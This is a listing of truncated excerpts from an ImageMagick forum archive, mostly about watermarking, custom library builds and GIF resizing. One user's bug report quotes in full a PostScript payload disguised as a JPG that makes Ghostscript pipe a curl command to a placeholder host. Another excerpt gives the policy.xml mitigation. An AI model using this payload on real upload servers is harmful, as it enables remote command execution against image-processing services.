Legacy ImageMagick Discussions Archive

I have a pic at https://img.pengduncun.com/mp.jpg，size 960x540 (16:9), it has a watermark on the top left corner。and I don't have the original watermark png，how to remove the watermark from it? https://img.pengduncun.com/mp.jpg I have read some posts and have tried some solutions, but those works wel ...

https://www.imagemagick.org/script/security-policy.php

Since most users simply process image compression, I recommend that this behavior be disabled by default in the latest version.

I found a solution at https://www.anquanke.com/post/id/157513 vim /home/www/ImageMagick/etc/ImageMagick-7/policy.xml in section "policymap" add the following content: <policy domain="coder" rights="none" pattern="PS" /> <policy domain="coder" rights="none" pattern="EPS" /> <policy domain="coder ...

my os is :
CentOS release 5.11 (Final)

use the follow content use a jpg file： %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%curl http://xx.xx.xx:80) currentdevice putdeviceprops then upload it，it will trigger exec curl command。how to resolve this fatal problem。。。 [www ~]$ /home/ ...

finally,view congifure 's content,use this command to solve this eggcache problem. export PKG_CONFIG_PATH="/home/www/png/lib/pkgconfig" but jpeg does not have dir "/home/www/jpeg/lib/pkgconfig", still use these export CPPFLAGS="-I/home/www/jpeg/include" export LDFLAGS="-L/home/www/jpeg/lib"

check your install log for your PNG install and be sure it worked correctly. I believe that libpng requires zlib be installed first. this is my install step。。 cd /home/www/softwares tar -xf zlib-1.2.11.tar.gz cd zlib-1.2.11 ./configure --prefix=/home/www/zlib make -j20 && make install #需要zlib cd /ho ...

I have installed jpeg，png at /home/www/jpeg，/home/www/png。I do not want to use sys default 。 jpegsrc.v9a.tar.gz libpng-1.6.19.tar.gz I use the following commands let it to find jpeg and png。 export CFLAGS="-I/home/www/jpeg/include -I/home/www/png/include" export LDFLAGS="-L/home/www/jpeg/lib -L/home/ ...

Dear fmw42 ,thank you very much , it both works well in my two versions。 -bash-3.2$ /usr/local/ImageMagick/bin/convert -version Version: ImageMagick 7.0.1-1 Q16 x86_64 2016-05-06 http://www.imagemagick.org Copyright: Copyright (C) 1999-2016 ImageMagick Studio LLC License: http://www.imagemagick.org/s ...

How to rotate a watermark png img at 45 degree on a jpg image? I have a transparent png file like " http://vi1.6rooms.com/live/chenlongtest/banquan.png " ,I will watermark it on a jpg image , I use command like this: composite -gravity center banquan.png 2388.jpg 2388_bq.jpg then the new image ...

I just use php getimagesize() to get image info ？It likes the following。。。 /** * @return array(w=>with, h=hight, type=类别) type: 1 = GIF，2 = JPG，3 = PNG，4 = SWF，5 = PSD，6 = BMP，7 = TIFF(intel byte order)，8 = TIFF(motorola byte order)，9 = JPC，10 = JP2，11 = JPX，12 = JB2，13 = SWC，14 = IFF，15 = WBMP，16 = ...

Dear Qins：
which command can judge whether a png pic has alpha channel ？

magick wrote:We will investigate this problem soon and report back. Stand by...

Dear admin：
I am waiting for your coming back soon ...

maybe it still works not well sometimes。 the orignal pic: http://vi1.6rooms.com/live/chenlongtest/tuzi3.gif new version command: works not well -bash-3.2$ /usr/local/ImageMagick/bin/convert tuzi3.gif -background none -coalesce -bordercolor none -border 0 -sample '200x200' -layers Optimize tuzi3_new.g ...

Insert "-background None" before "-coalesce". convert lengtu.gif -background None -coalesce -bordercolor None -border 0 -sample 200x200 -layers Optimize lengtu_new.gif Thanks very much。 I use php if I use "$_FILES['file']['tmp_name']" as pic source ,it works not well /usr/local/ImageMagick/bin/c ...